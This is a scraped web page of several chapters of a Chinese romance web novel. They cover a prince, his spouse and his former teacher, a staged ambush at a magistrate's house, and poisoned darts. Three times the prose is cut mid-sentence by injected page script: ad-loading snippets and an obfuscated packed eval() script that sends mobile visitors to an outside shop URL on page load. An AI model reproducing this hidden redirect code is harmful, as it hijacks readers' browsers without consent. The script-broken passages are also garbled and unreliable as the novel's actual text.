谢灼直接扯过旁边的被子,将白锦棠罩住了,还按住了被子的四角,生怕白锦棠跑出来。 这次换白锦棠有不明所以了:“你干什么!” 谢灼看着面色绯红,嘴唇红肿的白锦棠,也没了脾气,笑着安抚道:“别生气了,我刚刚开玩笑的,你方才用了内力,我去找落雨来给你看看。” “……”白锦棠有些没反应过来,怒火戛然而止,蹙眉,看神经病一样看着谢灼。 不是,这人有病吧。 吵架呢! “本王很好,不需要,你给本王滚!” 身上的被子绷的紧紧地,被人这样压着,很不舒坦,一双漂亮的桃花眼怒目而视,鼻尖上的那抹红痣,烫的人心颤。 “王爷,现在不是闹脾气的时候。”谢灼哄道,“我错了还不行啊?我也没想离开,也没想死,你说说你,就开个玩笑,怎么还当真了,万一气坏了怎么办!” 白锦棠一字一句,重复:“你觉得这是个玩笑?” “额……”谢灼发现白锦棠很会抓重点。 谢灼嘴硬:“其实也没有。” 白锦棠:“呵。” 谢灼哭笑不得:“你刚刚还说要要剁我手脚呢,我不也没生气?” “你是我的人,别说我剁你手脚了,我要真想干些什么,你敢不从?”白锦棠瞪着谢灼,将嚣张跋扈和霸道无情发挥到极致,那态度再理所当然不过,俨然把谢灼当成了自己的私有物。 “是是是……”谢灼敷衍道,“您多厉害了,让我给您当刀,不仅要我心甘情愿的当,还要我笑着当,最好感恩戴德的当。” 谢灼再次问出那句话:“白锦棠,你是人吗?” 白锦棠微抬下巴,一脸我爱怎么样就怎么样,你管不着的表情,轻哼:“我现在不想当人了,不行?” 不知道为什么,白锦棠这个样子,让他想起猫咪,一副口嫌体正直的傲娇样子,不知不觉就俘获了所有人的心。 一个人怎么可以是白锦棠这个样子,太招人喜欢招人稀罕了。 不就是利用他吗? 不就是不让他见人吗? 不就是不让出王府吗? 不就是下毒吗? 这不是还没死吗,不仅没死,还能一直陪在他的身边,多好啊? 自己怎么就不愿意呢,什么狗屁矜持和尊严,哪有白锦棠重要? 谢灼想到这里,内心咯噔一下。 不是,他怎么会有这种想法! 刚刚这人可还对他冷嘲热讽的! 看着谢灼的脸色由白变红,再由红变成青,再到现在黑的滴 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 水,恨不得杀了自己的样子,白锦棠是震惊的,一个人的情绪竟然能丰富到这个程度。 不过很和他意。 趁着谢灼不注意,白锦棠的一只手得了空闲,猛地将谢灼掀翻在身侧,趁着人蒙圈,毫不留情地将人一脚踹下床。 “敢对本王放肆!” 这动静闹得不小,门外的秋风落雨隐隐约约能知道个大概,以为就是普普通通地吵架,如今听着动静,好像不太对。 两个人面面相觑。 “你说,主子不会和夫人打起来吧?”落雨有些犹疑,“毕竟上次,夫人还想刺杀主子。” 秋风沉吟片刻:“要不我们进去看看。” 落雨一抖:“我不敢。” “我来!”秋风咬了咬牙,像是下定某种决心一样,打开了门。 然后就看见他家主子衣衫不整地坐在床边,双手环胸,十分慵懒地靠在床头,而谢灼裹着被子坐在地上,脸色十分精彩。 一看就只知道谁吃了亏,谁占了便宜。 气氛十分尴尬。 秋风落雨瞬间后悔自己冲动进来了:“主……主子?” “嗯,有事?”白锦棠瞥了一眼秋风落雨。 “没……没事,你们继续,我们马上走……”秋风落雨被吓得连忙后退,转身打算夺门而逃。 “等一下。”地上的谢灼忽然站了起来,将掉在地上的被子捡了起来,冷漠地瞅了一眼懒洋洋坐在床榻上的白锦棠,对落雨道,“他刚刚用内力了,给他看看,有事没有。” 落雨一听,这还得了,连忙给白锦棠把脉,也顾不得什么气氛不对了,天大地大,都比不上白锦棠的身体大。 白锦棠知道落雨担心,伸手让落雨把脉,又对秋风道:“王妃以下犯上,把他给我拖出去,让他在院子里,好好清醒清醒,省的再来气本王!” 这是被气成什么样了。 “是。”秋风小心翼翼地走到谢灼面前,还不等自己开口,谢灼转身头也不回地出去了,秋风看了一眼,谢灼当真老老实实站在院子里,凉快去了。 未免太自觉了。 “经脉逆行,幸而用得少,没什么大碍,好好修养即可。”落雨松了一口气,又不放心地叮嘱,“主子,半寸相思未解之前,您千万别再用内力了。” “嗯。”白锦棠点头,“你和秋风先下去吧。” 落雨还想着刚刚的事情,见白锦棠不愿意多说,只能憋回去了,点点头,便和秋风出去了。 才出门就看见谢灼站在门口吹风。 落雨和秋风行了个礼,刚抬脚打算离开,就被谢灼叫住了。 “落雨姑娘,请您等一下。” 落雨一脸严肃道:“夫人,我不求情的。” 白锦棠如今正在气头上,她才不敢触霉头。 谢灼:“……不是,我就是想请你给我把个脉?” “把脉?”落雨不解。 谢灼将手伸了过去:“劳烦你给我看看我这脉象怎么样?” 落雨将手指搭了上去,过了一会,有些怜悯地看着谢灼,劝道:“中毒已深,夫人以后还是少惹主子为好,要不然毒发的时候,主子不给你解药,你就完蛋了。” “中毒……”谢灼眉头皱的都能夹死一只苍蝇了,颇有些急切地问,“除了中毒,就什么也没有了?” 就比如什么情蛊,春药啥的?毕竟他一见到白锦棠,就忍不住心跳加速,真不是生病了? 落雨思考了一下,又道:“有事别憋着,容易憋坏,主子善解人意,夫人又是主子亲口承认的,必定会愿意帮夫人的,毕竟床头吵架床尾和……” 谢灼:“……”这人和她主子一样,说话没个正形。 “不过夫人,你真的很厉害。”落雨喟叹,“我从来没见过有人能把主子气成这样。” 迎着谢灼沉默的目光,落雨补充道:”而且你竟然还能好好活着在院子里吹冷风。” 谢灼:“……”他现在是不是要感动的痛哭流涕,叩谢白锦棠不杀之恩。 21. 光风霁月 谢灼惹了人生气,当真就在门外站了一夜,吹了几个时辰的冷风,后来翠云和凌灵知道后,便过来求情。 因见着谢灼还算听话,白锦棠就拜拜手,示意这事情过去了。 而谢灼回去后,当真就老老实实地呆在清河小院里,几天没在白锦棠的面前晃悠。 白锦棠的身边肉眼可见地清净下来了,身体慢慢养着,逐渐好起来,就是脸色还是有些苍白,最近几日胃口和精神状态也跟不上,急得厨房的大厨每天变着法地给白锦棠做饭吃。 这种状态,一直持续到凌若尘下榻王府。 凌若尘身份尊贵,是白锦棠的老师,那边早早就递了消息,说是午后便会到。 作为学生,白锦棠和凌灵吃过午饭便就在王府门口亲自等。 午后的阳光明媚,偏偏白锦棠还有睡午觉的习惯,便强打着精神,和旁边的凌灵说话。 凌灵倒是精神,抓着白锦棠袖子嗷嗷叫:“哥,哥啊,怎么办!我从小就怕我小叔,你说小叔会不会找我算账啊!我也没想到事情闹这么大,被我爹知道了,肯定要打断我的腿!” “要不趁此机会,我先跑了吧!” 凌若尘那个脾气,别说凌灵了,便是宁王殿下想到那冷冰冰的脸,心里都发怵。 不过好在,白锦棠如今爵位在身,如今就一个师徒的名分,凌若尘也管不到他头上。 白锦棠:“你可以试一试。” “我的命怎么就这么苦啊?!”凌灵瞬间蔫了,“上天啊,收了我吧!为什么要派我小叔来折磨我!” 白锦棠望着蓝天白云,有些感慨,其实把他一起收了也行,毕竟凌若尘那个古板家伙,他真的是一丁点也喜欢不起来,这让他不由自主地想起当年被支配的噩梦。 “主子,帝师大人到了!” 早就被白锦棠派去城门口接人的秋风策马奔腾而来,身后正跟着凌若尘的车驾,朴素的马车上,缓缓驶来,旁边跟着凌家的护卫。 白锦棠正了正神色:“嗯。” 秋风下马,回了白锦棠的身边。 白锦棠眸光闪了闪,拢了拢袖子,唇角微勾,扭头叮嘱秋风:“找个可信的人,将凌若尘到达青州的消息传给李青山,他不会老老实实地自戕的,你看着点,他还有大用处。” “属下明白。”跟了白锦棠这么多年,秋风自然是懂得,李青山是关键的一环。 眼看着马车在王府门口停下,凌灵吓得直往人群后面缩去,趁着空隙,白锦棠又不放心地问了一句落雨:“清河小院那边,可派人过去了。” 落雨低声道:“王爷放心,保证帝师歇在王府的这几日,绝对和夫人碰不上!” “那就好。” 帘子被掀开,那身着白衣的凌若尘,弯腰从马车里走了出来,身体颀长,风姿绰约,宛如山间青竹,又似空谷幽兰,面如冠玉,清冷孤傲,薄唇微抿,眉宇间是即将羽化的漠然,端的是高高在上的神仙姿态。 该来的总会来。 白锦棠看着还想躲的凌灵,叫了一声:“跟过来。” 凌灵硬着头皮跟在白锦棠的身后,走到马车旁边。 “小叔好。”凌灵规规矩矩地行了个礼。 “嗯。”凌若尘淡淡地应答,目光却从一开始就落在白锦棠的身上,像是在打量,又像是在等待什么。 要按照白锦棠以前混账的性子,大抵会当着凌若尘的面,嫌弃他磨磨唧唧,现在才到,害得自己等这么久。 落雨不由自主地屏住呼吸。 主子啊,您千万可别犯浑啊! 但是白锦棠没有,他没看凌若尘,眉眼微敛,恭恭敬敬地行了一个弟子礼。 “学生拜见老师。”白锦棠声音没什么波澜,带着满满的距离感,十分有分寸。 礼数周全,态度诚恳,让人完全挑不出错,可却让凌若尘微微蹙眉,唇角抿着,没说话。 他们以前就不对付,如今也谈不上亲近,所以白锦棠对这样的状况十分淡然,自顾自说道:“京都至青州,千里迢迢,帝师大人舟车劳顿,学生已经为帝师大人准备好了房间,为帝师大人接风洗尘。” 凌若尘目光幽深,这次终于说话了:“好。” 白锦棠抬手作请的姿势:“老师,请。” 众人都松了一口气,开始往王府里走。 旁边的凌灵立马装可怜抹眼泪说:“小叔,你可算是来了,你都不知道我过得是什么日子!还好遇见了锦哥哥,要不然我真的就回不来了。” “哭也没用。”凌若尘冷冷清清道,“兄长在京都等你,你从现在可以想一个能说服他的理由了。” “小叔……”凌灵欲哭无泪。 “这些年过得好吗?”凌若尘忽然问。 一直保持缄默的白锦棠一愣,下意识看向凌若尘,却发现凌若尘是在问自己。 “谢老师关心,学生一切都好。” 凌若尘目光复杂,忍不住去看白锦棠,奈何时间太久,他找不到半点从前的影子,最终只是“嗯”了一声,没再说话。 而白锦棠将人送到了实现准备好的院子,里面已经被收拾干净了,十分妥帖,就连屋里焚的香,都是凌若尘喜欢的那一款,可见的十分的用心。 只不过时过境迁,当年的师徒早已无话可说,只剩下生疏和疏远。 白锦棠率先开口:“老师先在此歇下,若是有什么问题,尽管派人告知。老师若是不嫌弃,晚些时候府上还准备了接风宴。” 凌若尘颔首:“好。” 白锦棠这才带着人离开了。 房间的窗户开着,正好能让凌若尘看见院子里正值花期的海棠,以及海棠树下,翩然离去的白锦棠。 在踏出这里的那一刻,白锦棠好像瞬间放松下来,就连步子都变得无比轻盈轻快。 等人已经不见了踪影,凌若尘还久久不曾回神。 过了一会,他吩咐身边的人,把凌灵叫了过去,他想知道,白锦棠这些年是怎么过的。 ———— 这些年来,白锦棠忽略着京都的消息,昔日里在京都城内走狗斗鸡的锦衣玉食,随着八年前那场灭门之灾烟消云散,狐朋狗友早作鸟兽散,纸醉金迷和十几年的荒唐,被白锦棠抛之脑后,再不愿意想起。 他以为他忘记了,可当他看见凌若尘的时,他就知道,忘不了。 枉死的人需要解脱,冤魂需要昭雪,而恶鬼也要来索命,生死不休。 “主子?”落雨有些担心,试探性地叫了一声。 白锦棠正瞧着京都城的方向,眼神忧郁冰冷,他问:“落雨,你说我们能回到那座皇都吗?” 落雨斩钉截铁道:“能,一定能!” 血液似乎沸腾起来,那温柔淡然的表皮在这一刻露出端倪,白锦棠勾唇一笑,血色翻涌夹杂着残忍和决绝:“那我们且让那群人看着吧。” 看着他是怎么回到京都城的。 白锦棠回头,看了一眼凌若尘的房间,道:“找人看好这里,千万不要怠慢了。” 落雨:“是!” —————— 说是接风宴,其实也不过是白锦棠这个当学生的,请凌若尘吃上一顿饭,顺带再加上一个凌灵,也不过三个人。 王府早就准备好了席面,虽然人少,但是该有的都有,不存在委屈一说。再然后就是,凌若尘来青州本就有要务在身,说是吃饭,实则不过是来商量黑市的事情。 凌若尘带着凌灵过来时,白锦棠已经等在那里了。 凌灵开心地跑过去,抓住了白锦棠的胳膊,撒娇地叫了一声:“锦哥哥!” 白锦棠脸上挂着温和的笑容,没推开:“嗯,来了。” 然后朝着凌若尘行礼:“老师。” 凌若尘点头。 几个人坐了下来,席间一派的安静。 食不言寝不语,这是凌若尘的规矩,纵容有天大的事情,也只能饭后说。 白锦棠记着这事情,凌若尘从不会主动失礼,几个人都不说话,莫名的压抑,就连色香味俱全的宴席也变得淡然无 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 味,偏偏凌灵心大,吃的欢快开心。 白锦棠其实早就没了胃口,可作为东道主又不好放下筷子,只能陪着喝汤。 忽然,凌若尘放在筷子,对身边的随从道:“把东西拿过来。” 白锦棠和凌灵不由得被吸引了目光。 随从递过来一个食盒,凌若尘将食盒放到白锦棠面前,示意他打开。 这是食盒? 白锦棠一愣,不解地看着凌若尘。 凌若尘解释道:“十味坊的梅花酥。”他顿了顿,语气忽然有些迟疑,“你以前不是很喜欢吗?” 凌若尘怪怪的,不仅吃饭的时候说话,还送人小点心,就连凌灵也忍不住偷看,思考她家小叔是不是中邪了。 “的确是我以前喜欢的。”白锦棠将食盒盖上,吩咐落雨将梅花酥好生收起来,“多谢老师。” “嗯。”凌若尘却听出来了。 以前喜欢,现在不喜欢了。 气氛再次凝固了,让落雨都有些不自在,不是,为什么会有人把饭吃的像是断头饭啊! 不愧是是她小叔!不行,她要找个话题,活跃一下气氛。 “哎?锦哥哥,嫂嫂没来吗?”凌灵咬了一口虾饺,四处张望了一下,确定没看见谢灼的身影,不由得问出了声音。 白锦棠手里的筷子一顿,心想,这孩子还真是哪壶不该提哪壶。 就连默不作声地凌若尘也抬眼看他。 “嗯,没来。”白锦棠不喜欢和别人讨论谢灼,于是含糊不清地打算搪塞过去。 按照凌若尘不爱多事的性子,这事定然会就此揭过。 可凌若尘没有,甚至抬手给白锦棠夹了一块鱼肉,声音淡淡的,像是随口问了一句:“为什么没来?” 凌灵也眨着大眼睛看白锦棠,满脸好奇。 白锦棠抿唇,有些绝望:“……” 凌灵见白锦棠不说话,有些迟疑地小声嘀咕了一句:“还生嫂嫂气呢?” “没有。”白锦棠将鱼肉夹给了凌灵,试图以此堵住她的嘴,让她少说点话。 奈何凌灵不明白,恨铁不成钢道:“嫂嫂干什么了,让你气的把人都赶出去了,锦哥哥……嫂嫂也在你门口守了你一晚上,你气也该消了吧。” 说着,凌灵又道:“嫂嫂这么喜欢你,锦哥哥,你别老欺负人家啊。” “……我没有。”白锦棠后槽牙都快咬碎了。 凌若尘手里的筷子被他放下了,发出清脆的撞击声,不知为何,眉眼清淡中,白锦棠忽然看出凌若尘好像有点不开心。 凌若尘:“你喜欢他?” 白锦棠还没回答,凌灵就学会抢答了:“小叔,你不知道,锦哥哥可喜欢嫂嫂了,嫂嫂也可喜欢锦哥哥了!”说着,凌灵又开始向凌若尘讲述,白锦棠是如何运筹帷幄,英雄救美,舍己为人的。 要不是白锦棠是当事人,白锦棠真觉得自己对谢灼大概是真爱了,还是那种恨不得死在一起的爱。 听完凌灵的描述,凌若尘呼出一口气,看着一脸不自在的白锦棠,询问:“是吗?” 这当然是假的。 但白锦棠要“是”。 毕竟黑市是他打着谢灼的名头剿灭的,整个青州都知道,他对谢灼爱的深沉了。 于是白锦棠微微一笑,似乎还有些羞赧,轻声道:“虽然前些天和内子闹了些脾气,但灵儿说的,的确没错。” “就这么喜欢?”据凌若尘所知,他们认识也不过一月,当初成亲更是阴差阳错,如今已经爱成这样了? 却见白锦棠勾唇一笑:“有些人遇见了,一面就已足够喜欢……” “他是我此生唯一的妻。” 刹那间,房间被粉色泡泡充盈。 而门外偷偷摸进来的谢灼,听见白锦棠这句话,心脏“扑腾”一跳,旋即面红耳赤,暗淡的眼眸,迸发出前所未有的光芒,让谢灼开心中,还有点得意。 啧啧,他就知道,白锦棠刀子嘴豆腐心。 明明喜欢自己喜欢的不行。 22. 他在渎神 因为这句话,空气再次陷入凝滞。 凌灵则是捂住了嘴巴,一脸坏笑地看着白锦棠,心里思忖着,怎么把这个好消息告诉谢灼。 毕竟谢灼对她可好了!不仅在黑市的时候救过她,还给她做了秋千。 就是为什么,她觉得小叔有些怪怪的? 白锦棠说完这句话,也放下了筷子,目光温柔,唇角带笑,似乎想起来什么美好回忆一样,沉浸在自己的世界无法自拔,俨然一副喜欢的不得了的样子。 应该能骗过去了吧? 还有秋风那里,时辰差不多了,李青山也该上路了。 过了晚上,青州便可成为他的囊中之物,再无人敢对他放肆,思及此,白锦棠眉眼越发轻快,给自己斟了一杯酒,喝了起来。 而这边,凌若尘眼神低敛,余光却落在白锦棠身上,看着白锦棠含情脉脉的眼神,只觉得心里堵得慌。 他在白锦棠的身上,几乎快要找不到那个桀骜不驯的样子了。 变了。 从张扬明媚,温柔淡然。 从对他的亲昵热络,到如今的毕恭毕敬,冷淡疏离。 终究是面目全非了。 “棠儿。” 凌若尘很久没这样亲昵地叫过白锦棠了,以至于让白锦棠一愣,甚至是错愕,还带着点茫然。 “老师?” 凌若尘:“你……”愿意跟我回京都吗? 可惜,凌若尘的话到底没说完,因为房间的门被人忽然推开了,秋风步履匆匆地走来,单膝下跪在白锦棠的面前,也顾不得礼仪了,直言道:“王爷不好了。李青山死了。” “什么?!”白锦棠瞳孔紧缩,猛地站起身来,成功将凌若尘的话彻底堵在嗓子眼里,再也没办法说出来了。 凌若尘收敛了刚刚的情绪,心思放在李青山身上,他微微蹙眉,声音冰冷:“说清楚。” 秋风道:“李知府……他自尽了……” “什么时候的事?”白锦棠脸上倏地一变。 旁的凌若尘脸色更是难看。 他这个奉旨查案的人才到青州,人就自尽了,未免不让人多想。 秋风:“就刚刚没多久,在家里上吊的,被李大人的夫人发现了,没过一个时辰,这事情就闹开了。如今的知府府上,闹得乌烟瘴气。” 白锦棠颔首,连忙嘱咐道:“此事关系重大,牵连黑市,你说的我都知道了,让银月卫过去守好李府,只许进不许出。本王稍后就到。”说完,白锦棠又看向凌若尘,询问道,“老师,您是留在王府,还是……” “我随你去李府。”凌若尘直接道。 “好。”白锦棠道,“落雨,备车。” 落雨:“是。” 众人都急匆匆地往外走,徒留一脸懵圈的凌灵,自然也没发现躲在暗处的谢灼。 等众人来到知府时,银月卫已经将知府围的水泄不通,府门口一个人也没有,银月卫整齐严肃,安静的不像话,只留下路边的石灯,散发着倔强的光芒。 秋风:“主子,帝师大人,我们现在进去吗?” “你带了多少人?”凌若尘没回答,低声询问白锦棠。 白锦棠:“一百亲卫。” 一百亲卫已经不算少了,起码对付一个小小的李府也足够了。 凌若尘颔首:“我们进去。” 白锦棠沉吟片刻,眼眸里带着少见的担心和忧虑,似乎很不放心凌若尘,他试探性道:“要不老师还是在这里主持大局,我带着人进去吧,毕竟这事发生的突然,我怕……” “不用怕。”凌若尘目光柔和下来,他摇头,“棠儿,莫要忘记了,我也是上过战场的。” 老国公以战功封爵,而凌若尘少时也曾随老国公征战,后因战功显赫,被皇帝猜疑,凌若尘这才入了仕途。 白锦棠巴不得凌若尘跟着自己一起进去,但面子上还要装模作样地多说一句:“可是……” “乖。”凌若尘作势拍了拍白锦棠的脑袋,哄小孩一样。 不得不说,有点惊悚。 毕竟以前凌若尘可没有给过自己好脸色,更别说是这样温柔的语气,完全就是把他当小孩一样。 凌若尘这是被什么上身了? 白锦棠不动声色地往前迈了一步,避开凌若尘的手,道:“那我们进去吧。” 凌若尘目光暗淡,默不作声地收回了手,点头:“好。” 秋风在前面开路,一众银月卫围在白锦棠和凌若尘的身边,手里的长剑在月光的照耀下,反射出凌冽的寒光。 太安静了。 安静的就像是没人一样。 如果府外有银月卫守着还算正常,那府邸里是这种情况,就太诡异了。 明明半个时辰前,李府乱的像是一锅粥,姬妾尖叫,仆人四散,就过了这么一会,好像没人了。 有什么东西在黑夜中蔓延开来,是属于未知的恐惧。 “李青山的尸体在哪里?”白锦棠询问。 秋风:“好像是在山清堂。” 白锦棠:“好,带路,我们去那里看看。” 山清堂离得不远,众人往那里走,一路上才算是有了人,低着头步履匆匆的仆人,默不作声跪在路边的侍女,还有在山清堂里外跪着的无数宗亲和姬妾,以及一些孩子。 李青山的尸体就摆在大堂中间的棺椁里。 白锦棠带的人这样多,动静又这么大。 可他们就像是没看见一样,低着头抹眼泪哭泣,甚至都没人去看他们,更别说询问白锦棠的身份。 太不对劲了。 白锦棠目光冷冷扫过四周,撩起袍子就打算直接进去,他倒是想看看,到底是怎么回事,却被凌若尘抓住了手腕,白锦棠疑惑抬头:“?” “跟在我后面。”事情不对,凌若尘下意识将白锦棠护在身后,自己先白锦棠一步,走进山清堂。 “好。”白锦棠没有拒绝,十分乖巧地跟在凌若尘的身后,目光却状若无意地看向山清堂四处的角落里,心里不由得感慨: 不愧是李青山花了大价钱请来的顶尖杀手,藏的倒是深,要不是提前得到消息,说不定自己也可能会栽。 而这边,凌若尘已经走到了棺椁旁。 棺材里的李青山紧紧地闭着眼睛,面色惨白,泛着死人才有的青灰,脖子上一道青紫的勒痕格外引人注意。 凌若尘伸出手指,想要一探李青山的呼吸。 就凌若尘即将触碰到李青山的鼻息时,只听咔嚓一声,机关转动! 无数暗器朝着凌若尘射了过来! 白锦棠瞳孔紧缩,猛地扑向凌若尘,两个人惊险躲开!可还有,这这次朝着地上的他们射去!凌若尘迅速反应,一把抱住白锦棠的腰肢,带着人往一边滚去,染着毒的毒镖定在他们刚刚所在的地方! “有埋伏!”白锦棠看着给自己充了人肉垫子的凌若尘,解释道,“事急从权,刚刚冒犯老师了。”说完,利索起身,还顺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13957664|147895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 带着把凌若尘给拉了起来,两个人目光冷峻,腰间的长剑随之出窍。 一白一蓝,一冷一柔。 宛若冰和水之间的碰撞。 凌若尘:“棺材里的是死人。” 白锦棠回答:“那死的人就不是李青山,要不然不会安排这么一出好戏。” 李青山自私自利,从一开始白锦棠就知道,他根本不会为了所谓的家人去死,他在乎的永远只有自己。 那些刺客见事情暴露,也没再隐藏自己的身份,从山清堂的角落里跳了出来,为首的正是李青山,他双眸血红,似乎已经被逼到极点,被逼的发疯发狂,死死地瞪着白锦棠。 “白锦棠,这都是你逼我的!”明明他都求饶了,可白锦棠还是想要他死! 还有凌若尘,也来蹚浑水,既然如此,那大家就一起死,都别活了! “我逼你?”白锦棠嗤笑,“是我把刀架在你脖子上,逼着你杀人放火了,还是我逼着你谋财害命了!李青山,多行不义必自毙,事到临头,你还不悔改,竟还敢对本王和帝师动手,谁给你的胆子!” ”那是他们该死!不过一群下贱的玩意,我看的上他们的皮相和骨头是他们的福气!”李青山指着白锦棠破口大骂,口沫横飞。 “住口!”凌若尘微微蹙眉。 李青山正说的开心,才懒得搭理凌若尘。 “白锦棠,你不过就是一个该死的病秧子,一个空有虚名的狗屁王爷!等老子把你杀了,剥了你的美人皮,抽出你的骨头,做成皮影!我看谁还敢再这样威胁我!” 白锦棠依旧云淡风轻,甚至眼睛都没眨一下,仿佛说的不是他一样。 “放肆!”反倒是凌若尘动了气,眉头紧蹙,常年冰封的眸子酝酿着滔天的怒火,脸色更是黑沉如水。 当年白锦棠弄糊了凌若尘的亲事,都没见凌若尘这般生气。 “放肆!我就放肆了怎么着!凌若尘,你别以为我怕你,不过一个没有实权的帝师,真当自己是个人物了!呸,狗屁不是!” 不得不说,李青山是真的勇。 白锦棠都有点佩服他了。 手中剑发出轰鸣,凌若尘一剑刺了过去:“找死!” 李青山连忙退后,大吼:“给我杀了他们!把他们都全都杀了!” 战争一触即发! 那本跪在山清堂的女眷们哭的撕心裂肺稀里哗啦,脚步丝毫不敢停,逃命地往外跑!山清堂陷入一片混乱,黑衣刺客此刻对上银月卫,注定是一场鏖战。 “待在我身边,别乱跑。”凌若尘叮嘱道。 白锦棠不能再用内力,于是点头:“好。” 白锦棠就这样被凌若尘护在身后,那本该高坐云端的翩然谪仙,终究是落了凡俗,一身无暇白衣染了鲜血,手起手落之间,便要了那群刺客性命。 明明以前,凌若尘最讨厌血了,也最讨厌弄脏自己的衣服了,讲究的厉害,金贵的不行。 可如今—— 杀伐之音不绝于耳,惨叫声更是没有一刻停歇。 尸体横陈,将这山清堂变成了一座坟墓。 每个人都染上血污,唯独白锦棠依旧干干净净的。 白锦棠看着护在身前的凌若尘,盯着他清淡如远山一般的冷峻眉眼,看着鲜血从他的下巴低落,淫靡妖艳,心里头冒出来一个想法: 他好像欺骗了神明。 他可真坏啊。 为了让这人站队,不惜摆下这么一个局。 23. 我来帮你 “吓到了吗?”凌若尘抬脚踹开面前的此刺,一扭头,就看见站在他身后发呆的白锦棠,声音和面容都不由得柔和下来,低声我问了一句。 就在此时,展露败相的李青山已然气急败坏,他躲在柱子后面,探出身来,恶狠狠的盯着凌若尘! 都是这个狗东西坏了自己的好事,他一定要杀了凌若尘! 袖子里的暗器被触发,无数暗器如雨丝一样,密密麻麻地朝着凌若尘而来! “没……凌若尘!”话还没说完,白锦棠就已然察觉到了不对劲,纵身挡在凌若尘的面前,手里长剑挥动,将暗器悉数拦腰截断,将凌若尘密不透风地护在身后! “棠儿!”凌若尘惊呼。 白锦棠胳膊发麻,看着试图逃跑的李青山,拼着最后的力气,大喝一声:“李青山!” 李青山下意识回头,下一秒,只觉得眼前剑光闪过,罡风袭来,似乎有什么东西朝着他刺去,还不等他反应,便贯穿了他的咽喉! 他甚至都没感受到疼,喉咙如漏风一样,发出呼噜声,往外喷着血,眼珠子瞪得老大,仇恨还停留在其中,似乎想要说些什么,却被鲜血淹没。 白锦棠见此,嘴角勾起一抹苍白的微笑,将刺入自己肩膀的暗器拔了出来,随意丢在地上。 做完这些,胳膊连带着半个身子,已经尽数陷入麻木,没有了直觉,腿脚支撑不住身体的站立,白锦棠往后踉跄一步,眼看着就要摔下去。 “棠儿!”凌若尘一把扶住白锦棠,等瞧见白锦棠惨白的嘴唇,已经变了脸色。 白锦棠却倔强地摇头,努力地说道:“不用担心,一些小毒,过一会就好,我休息一下就好。” “这些江湖人用的必定都是极为阴险的毒,怎么会没有事!”凌若尘气的脸色发白,内心不可抑制地涌出一些恶毒的想法。 李青山死的真是太容易了。 一旁的秋风处理完刺客,捡起暗器,放在鼻子底下闻了闻,紧绷的情绪缓和下来。 凌若尘连忙询问:“什么毒?” 秋风解释:“一些小毒,帝师大人不用担心,主子睡一觉就好了。” 什么毒不用解,睡一觉就好了? 凌若尘不是傻子,把暗器拿了过来,却被白锦棠按住手臂,摇头:“秋风骗你的,根本不是毒,一些不入流的麻针而已,缓一会就好了。” 凌若尘执拗道:“那你让我看看。” “你看,我已经没事了。”白锦棠挣扎要起身,想要证明自己根本没事,结果才站起身,眼前一黑,身体再也受不住的晕了过去。 凌若尘连忙将人抱在怀里,这才发现白锦棠实在是瘦的不像话,轻飘飘的,宛若一团棉花似的。 秋风见凌若尘要检查暗器,想阻止,结果被凌若尘冷艳扫过,就不敢了,只能眼睁睁地看着凌若尘拿起暗器,放在鼻子地下闻了闻,面色一凌:“雪里红!” 雪里红有股刺鼻的味道,像是墨水和鲜血混杂在一起,基本上闻过一次就不会忘记……这并不是最主要的,最重要的是,雪里红可是剧毒,怎么可能睡一觉就好了! 怀里人嘴唇发白,愈发脆弱,而凌若尘的心脏也在崩塌。 “告诉我,怎么会没事?” 秋风底气不足道:“帝师大人不用担心,主子真的没事,或许……或许是您闻错了,根本不是雪里红……” 他是不会闻错的。 昔日随老国公征战时,他的最好的兄弟就是受此暗算,中毒身亡的。 一想到这里,凌若尘心里发凉。 但看着秋风一脸不慌不忙的样子也不像是作假,凌若尘沉声问:“到底是怎么回事?” ………… 白锦棠最后是被凌若尘抱回去的,因为雪里红,一路上都昏昏沉沉地,他的脑袋靠在凌若尘的胸膛上,感受着颠簸,想的却是: 李青山死了,这案子大抵也该结了。 自己这样舍命相救,忍辱负重,凌若尘怎么说也该感动了吧,昔日恩怨也当冰释前嫌,要不然自己就白忙活了。 “王爷!”回到王府时,落雨已经守在门口了,焦灼地四处张望,等看见凌若尘抱着白锦棠从马车上下来,差点喜极而泣,连忙迎了上去。 秋风在前面带路,领着人进了白锦棠的房间。 现在的白锦棠已经好多了,他半眯着眼睛,除了脑子有些昏沉,只觉得一切都好。 落雨坐在床榻边上,为白锦棠把脉,眉头逐渐舒展开来:“小毒,没什么大事,休息一下就好了。” 又是这句话。 这一路上,秋风死不松口。 而如今回了王府,又是这句话。 凌若尘已经听腻了。 他这次没再问落雨,毕竟白锦棠身边的人嘴都严实,莫说是威逼利诱,便是严刑拷打都不一定说出来个所以然,与其同他们浪费口舌,还不如等白锦棠清醒,自己当面问他。 “可需要服用什么药?”凌若尘忽然问道。 落雨思考了一下:“帝师大人放心,属下稍后就去熬药,再过盏茶时间,主子大概就能彻底清醒了。” 凌若尘点头:“那你们下去吧,我有话和他说。” 凌若尘是敌是友尚且不知,落雨怎么可能让他和白锦棠独处,下意识想要拒绝,却见秋风摇头,低声道:“主子受伤,便是为了救大人,想来主子也是愿意和帝师大人待在一处的。” 落雨这才作罢,和秋风一步三回头地离开了。 凌若尘听见秋风的话,心头堵得慌,唇紧紧地抿着,身上白衣还沾染着血,他看着床榻上半昏迷的人,鼻尖的红痣黯淡无光,漂亮的桃花眼闭着,嘴唇泛着雪白,安静的躺在那里,像是一座风雪雕塑,冰冷透骨。 这八年,白锦棠过得应该很不好吧。 雪里红的毒何其厉害,却在你身上没了用处。 是因为什么呢? 凌若尘想要抬手,探脉。 